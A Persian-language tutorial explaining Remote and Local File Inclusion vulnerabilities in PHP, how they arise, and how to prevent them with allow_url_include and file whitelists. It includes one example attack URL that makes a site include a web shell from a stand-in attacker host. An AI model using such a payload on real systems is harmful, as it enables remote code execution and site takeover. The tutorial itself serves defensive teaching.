Remote File Inclusion یا به اختصار RFI، یک نوع آسیبپذیری است به مهاجم اجازه میدهد تا یک اسکریپت، یک فایل مخرب یا کدی شخصیسازی شده را از روی یک سرور ریموت بر روی یک وبسایت یا سرور آپلود کند. این کار میتواند با هدف نمایش محتوای بازگشتی از یک سرور ریموت (راه دور) در وبسایت انجام شود. همچنین این آسیبپذیری میتواند به صورت تصادفی و به دلیل پیکربندی اشتباه تنظیمات مربوط به زبان برنامهنویسی استفاده شده در سرور یا در هنگام یک حمله (Attack) نیز رخ دهد.
با وجود اینکه این نوع از اینکلود میتواند تقریباً در هر نوع وباپلیکیشنی رخ دهد، آن وباپلیکیشنهایی که به زبان PHP نوشته شدهاند احتمال آسیبپذیری بیشتری در حملات RFI دارند زیرا PHP فانکشنهایی به صورت نِیتیو (Native) و از پیش تعریف شده دارد که قابلیت اینکلود فایلهای ریموت را به دولوپر میدهد (Include به معنی گنجاندن اسکریپتی در فایل مد نظر است). لازم به ذکر است که سایر زبانهای برنامهنویسی معمولاً به یک راهحل جایگزین به منظور پیادهسازی چنین قابلیتی نیاز دارند.
RFI چگونه کار میکند؟
به منظور گنجاندن یک فایل به صورت ریموت، باید یک استرینگ حاوی URL فایل (آدرس فایل بر روی اینترنت) را به فانکشن اینکلود زبان برنامهنویسی مربوطه (برای مثال PHP) اضافه کنید؛ سپس وب سرور وبسایت مورد حمله، درخواستی را برای سرور حاوی فایل راه دور (ریموت) ارسال میکند و محتویات آن فایل را دریافت میکند و در نهایت هم این فایل توسط مفسر زبان برنامهنویسی پردازش میشود.
یک وباپلیکیشن چگونه میتواند در مقابل RFI آسیب پذیر شود؟
RFI اغلب به طور پیشفرض غیرفعال است. برای مثال، PHP یک فایل با نام php.ini برای پیکربندی تنظیمات دارد که در ورژن 5.0.2 گزینهای را با نام allow_url_include و با مقدار پیشفرض 0 معرفی کرده است که اگر مقدار 0 بگیرد، قابلیت RFI را غیرفعال میکند (لازم به ذکر است که صرفاً در تعداد کمی از موقعیتها به این قابلیت نیاز است). گاهیاوقات دولوپرها عمداً آن را فعال میکنند و گاهیاوقات نیز این قابلیت بهصورت پیشفرض از ورژنهای قدیمیتر زبان برنامهنویسی سمت سرور فعال است.
معمولاً دولوپرها چنین قابلیتهایی را فعال میکنند تا به آنها اجازهٔ اینکلود فایلهای لوکال داده شود اما بدون اعتبارسنجی مناسب دادههای ورودی، امکان دریافت دادهها از یک سرور ریموت و بالتبع آسیبپذیر شدن وب اپلیکیشن نیز وجود دارد؛ بنابراین، در اغلب موارد وقتی چنین قابلیتی فعال میشود، وباپلیکیشن هم در مقابل RFI و هم در مقابل LFI آسیبپذیر میشود.
LFI چیست؟
LFI نیز مخفف واژگان Local File Inclusion است و یک نوع دسترسی لوکال به ما برای مشاهدهٔ فایلهای موجود در سرور مورد نظر میدهد. این آسیبپذیری شبیه RFI بوده و تفاوت آن با RFI در اجرای فایلهای لوکال است و این در حالی است که اگر وبسرور (مثلاً آپاچی یا انجینایکس) به درستی پیکربندی نشده باشد، مهاجم میتواند به اطلاعات حساسی دسترسی داشته باشد.
استفاده از آسیبپذیری RFI
دولوپرها معمولاً مسیر فایلی که میخواهند استفاده کنند را به یک فانکشن ارسال میکنند که محتوای آن را بهعنوان یک استرینگ (رشته) برگرداند یا آن را در بخشی از صفحهٔ وب مد نظر خود نمایش دهند یا آن را اینکلود کرده و دستورات آن را مانند سایر دستورات موجود در فایل اصلی پردازش کنند.
معمولاً برای افزایش خوانایی و خصوصاً ماژولار نمودن سورسکد، پروژه را به چندین بخش تقسیمبندی میکنند و هر بخش و کد را در دایرکتوریها و فایلهای مختلف دستهبندی میکنند. فرض کنید که یک دولوپر میخواهد یک فایل لوکال را به وسیلهٔ پارامترهای متد GET به کار ببرد و از طرفی در سرور نیز فایلهای مختلفی از جمله contact.php ،main.php و about.php وجود دارد که هر کدام از این فایلها قابلیتهای مختلفی را به وبسایت اضافه میکنند و هر فایل با استفاده از درخواست زیر میتواند فراخوانی شود:
https://example.com/index.php?page=contact.php
در این حالت دولوپر انتظار دارد که فقط فایلهای موجود در آن پوشه در فایل index.php گنجانده شوند اما اگر دولوپر فیلترهای مناسبی را پیادهسازی نکند، احتمال دارد که اینکلود کردن فایلهای دایرکتوریهای دیگر (LFI) و یا حتی فایلهای یک وبسرور کاملاً متفاوت (RFI) نیز برای یک مهاجم امکانپذیر باشد. در حقیقت، بدون یک لیست سفید (White List) از فایلهای مجاز، مهاجم قادر به تغییر مسیر فایل استفاده شده در فانکشن اینکلود است.
در واقع، مهاجم میتواند یک فایل لوکال را اینکلود کند اما در نوعی حمله مهاجم مسیر فایل لوکال را به آدرس فایلی تغییر میدهد که در سرور تحت کنترل وی قرار دارد؛ با این روش، مهاجم به راحتی میتواند بدون نیاز به Log Poisoning، کدهای مخرب را داخل یک فایل بنویسد یا کد را به طریق دیگری داخل سرور وب وارد سازد و این چیزی است که در مورد یک LFI نیاز است (Log Poisoning روشی برای نفوذ در آسیبپذیری LFI است که برای اجرای دستورات از راه دور استفاده میشود). به طور کلی، یک حمله از این نوع ممکن است شبیه به مورد زیر باشد:
https://example.com/index.php?page=https://attacker.com/uploads/webshell.txt
اثر یک RFI بکار رفته (Exploited) چیست؟
اثر RFI ممکن است بسته به پرمیشنهای اجرایی کاربر وبسرور متفاوت باشد. هر سورسکد اینکلود شدهای که با سطح دسترسی کاربر فعلی توسط وبسرور قابل اجرا باشد، امکان اجرای کد دلخواه را فراهم میآورد و از آنجا که کاربر وبسرور دارای سطح دسترسی اجرایی (Administrative) است، سیستم نیز کاملاً با آن سازگار خواهد بود.
چگونه از آسیبپذیریهای RFI جلوگیری کنیم؟
برای جلوگیری از سوءاستفاده از آسیبپذیری RFI، اطمینان حاصل کنید که قابلیت اینکلود به صورت ریموت را در فایل مربوط به پیکربندی زبان برنامهنویسیتان غیرفعال کرده باشید (مخصوصاً اگر به آن نیاز ندارید). به طور مثال، در زبان برنامهنویسی PHP شما میتوانید مقدار allow_url_include را در فایل php.ini برابر 0 قرار دهید. همچنین باید ورودیهای کاربر را قبل از ارسال به یک فانکشن اینکلود اعتبارسنجی کنید (روش توصیه شده برای انجام اینکار استفاده از یک لیست سفید از فایلهای مجاز است).